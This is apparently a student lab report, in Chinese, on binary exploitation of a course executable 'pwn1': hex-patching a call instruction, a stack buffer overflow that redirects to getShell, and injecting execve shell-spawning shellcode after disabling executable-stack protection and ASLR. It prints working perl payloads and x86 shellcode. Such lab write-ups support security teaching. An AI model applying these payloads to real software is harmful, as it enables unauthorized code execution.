20241909 2024-2025-2 《网络攻防实践》实践九报告

20241909 2024-2025-2 《网络攻防实践》实践九报告

1实验要求

1.1实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

1.2三个实践内容

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。

1.3.实验要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

2.知识点梳理与总结

2.1 反汇编

2.1.1编程原理

通常,编写程序是利用高级语言如C,C++,Delphi等高级语言进行编程的,然后再经过编译程序生成可以被计算机系统直接执行的文件(机器语言)。反汇编即是指将这些执行文件反编译还原成汇编语言或其他语言。但通常反编译出来的程序与原程序会存在些许不同,虽然执行效果相同,但程序代码会发生很大的变化。

2.1.2相关工具

反汇编工具如:OD、IDA Pro、radare2、DEBUG、C32等。
反汇编可以通过反汇编的一些软件实现,比如DEBUG就能实现反汇编,当DEBUG文件位置设置为-u时,即可实现反汇编。 而使用OD实现反汇编时,杀毒软件可能会报告有病毒与木马产生,此时排除即可,且使用OD需要有扎实的基础才能看懂。

2.2 一些汇编指令的机器码

1、NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
2、JNE:条件转移指令,如果不相等则跳转。(机器码:75)
3、JE:条件转移指令,如果相等则跳转。(机器码:74)
4、JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
5、CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CMP指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2.3 缓冲区溢出攻击的基本概念

向缓冲区中填入过多的数据超出了边界,导致数据外溢,覆盖了相邻的内存空间,利用缓冲区溢出可以改写数据、改变程序执行流程,干扰系统运行,破坏系统完整性,任意执行恶意代码

2.4 shellcode

shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,功能可以是添加一个用户、运行一条指令等。

3实践过程

3.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

首先按照实验要求,先将命令行的名字改成自己的学号,输入指令hostnamectl set-hostname 20241909enke,再重启系统即可.
在这里插入图片描述
找到到文件所在的目录,然后输入指令objdump -d pwn1 20241909ek | more,如下图:
在这里插入图片描述

在这里插入图片描述

往下找可以找到getShell、foo和main函数。
在这里插入图片描述
在上图中,可以看到main函数中第四行是在调用08048491地址的foo函数,且其对应的机器指令为:e8 d7 ff ff ff,其中e8表示指令id,后面四个是要跳到的指令id,是补码形式。此时eip寄存器中的值为下条指令80484ba的地址。
三者关系:80484ba + d7 ff ff ff = 08048491。
要实现直接跳转到getShell函数,就只需要修改foo函数的地址为getShell函数地址即可。用上述关系计算:804847d - 80484ba = c3 ff ff ff。可得要修改的机器指令为:e8 c3 ff ff ff。
通过上述的分析,开始修改指令,首先打开可执行文件,终端中输入命令:vim 20241909ekpwn1,打开之后发现是乱码:
在这里插入图片描述
键入命令“:%!xxd”然后回车,将文件转换为16进制
发现没有转换的工具先下载xxd 使用命令apt-get install xxd
在这里插入图片描述
在这里插入图片描述

然后查找需要修改的部分,输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3。
在这里插入图片描述
在这里插入图片描述
输入 :%!xxd -r 还原为原格式后,:wq 保存退出。
在这里插入图片描述
此处验证一下 objdump -d pwn20241909 | more 定位过去发现已经成功修改。
在这里插入图片描述最后再运行一下以前的文件20241909ekpwn2和修改后的文件20241909ekpwn2。发现20241909ekpwn2是在复现,而20241909ekpwn2是一个shell。
在这里插入图片描述
在这里插入图片描述

3.2利用foo函数的Bof漏洞,生成攻击输入字符串,覆盖返回地址,从而触发getShell函数

输入 objdump -d 20241909ekpwn2 | more 查看20241909ekpwn2文件。
在这里插入图片描述
注意这个函数 getShell,我们的目标是触发这个函数。
该可执行文件正常运行是调用如下函数 foo,仔细分析后发现foo函数存在漏洞:系统仅预留了 28(0x1c)字节的缓冲区,超出部分将发生溢出,我们的目标是覆盖返回地址。
在这里插入图片描述
上面的 call 调用 foo,同时在堆栈上压上返回地址值:80484ba。
在这里插入图片描述
接下来确认输入字符串哪几个字符会覆盖到返回地址,使用gdb工具,如果没有就下载一下。
输入 gdb 20241909ekpwn2 对文件20241909ekpwn2进行调试,再输入r运行。当输入的为 1111111122222222333333334444444455555555 可以看到eip的值0x35353535 也就是 5555 的 ASCII码。
在这里插入图片描述如果输入字符串 1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给20241909ekpwn2,20241909ekpwn2就会运行 getShell。
在这里插入图片描述
接下来确认用什么值来覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,即0804847d。接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
在这里插入图片描述
对比之前 eip 0x34333231 0x34333231 ,正确应输入11111111222222223333333344444444\x7d\x84\x04\x08。
要想将上述字符串成功输入,先要生成一个20241909文件。
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20221905 其中 \x0a 表示回车。然后输入 xxd 20241909 查看20241909文件的内容是否如预期。

在这里插入图片描述接着输入 (cat 20241909; cat) | ./20241909ekpwn1,将20241909的输入,作为pwn1的输入。最后输入 ls 进行测试,发现程序成功调用了getShell函数。

3.3注入一个自己制作的shellcode并运行这段shellcode

在进行这次实践之前,需要安装execstack。还需准备一段Shellcode,参考下述博客https://blog.csdn.net/qq_44922581/article/details/130380140?spm=1001.2014.3001.5502
使用的shellcode如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

上一个实验中将20241909ekpwn1文件复制成20241909ekpwn2,开始进行本次实践:
输入 execstack -s 20241909ekpwn2 设置堆栈可执行。然后输入 execstack -q 20241909ekpwn2查询文件的堆栈是否可执行。
在这里插入图片描述
然后我们需要查看地址随机化的状态,如果开启则需要关闭地址随机化,输入命令:more /proc/sys/kernel/randomize_va_space查询地址随机化状态
在这里插入图片描述
可以看到一开始没有关闭(0为关闭),然后关闭后,再次查看结果为0即可。
下面开始正式实验
1、使用输出重定向将perl生成的字符串存储到文件中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20241909
在这里插入图片描述
2、接着输入 (cat input_20241909;cat) | ./pwn1 注入攻击buf。(此处千万不要按回车!!!)然后先将上一个终端放在那里,再重新打开一个终端,输入ps -ef | grep 20241909ekpwn2 查看20241909ekpwn2的进程号
在这里插入图片描述
在这里插入图片描述

3.、从上图中可以推断出进程号为 15615。接着在新的终端输入 20241909ekpwn2,进入gdb 调试,输入 attach 15615 查看20241909ekpwn2进程,然后输入 disassemble foo。
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

4、接着输入 break *0x080484ae 在 0x080484ae 处设置断点。
在这里插入图片描述5、接着返回第一个终端按下回车,再返回第二个终端输入 c 继续运行。输入 info r esp 查看栈顶指针所在的位置为 0xffffd36c。接着输入x/16x 0xffffd36c,发现 0xffffd36c 中有值 01020304 。
在这里插入图片描述
由上述可以算出shellcode地址就是 0xffffd36c+0x00000004,即0xffffd370。
6、接着退出gbd,输入:perl -e 'print "A" x 32;print "\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20241909 重新构造 input_20241909文件。
在这里插入图片描述
7、最后执行 (cat input_20241909;cat) | ./20241909ekpwn2。这时候应该已经调用了getShell函数,进行一下测试,输入 ls。
在这里插入图片描述

4.学习中遇到的问题及解决

问题一:在实验一中修改文件内容后反汇编时出现格式错误,再打开查看文件时发现文件内容不同了如下图
解决方法:在修改时选择删除原文件即进入时选择D
在这里插入图片描述
问题二:在关闭地址随机化时发现报错如下
解决方法:查找资料后发现是权限不够需要root模式
在这里插入图片描述

5.学习感想和体会

此次实验难度适中,只有个别地方卡住后浪费了一点时间。本次实验内容虽然不是很多,但是有很多不懂的东西通过这次实践不仅让我掌握了修改二进制文件、利用缓冲区溢出、注入 Shellcode 的基本技术和流程,更重要的是,它让我从攻击者的视角深入理解了程序的内部工作机制、内存布局以及常见的安全漏洞。但是想要在现实中利用漏洞实现缓冲区溢出攻击,还是有点难度,但还是让我认识到这类漏洞的危险性。同时这次涉及到更底层的汇编程序,加深了我对程序底层运行逻辑的认识,总的来说非常的有意义!

参考资料

  • [Linux下关闭ASLR(地址空间随机化)的方法]

(https://blog.csdn.net/counsellor/article/details/81543197)

posted @ 2025-04-24 10:39  覆盌  阅读(106)  评论(0)    收藏  举报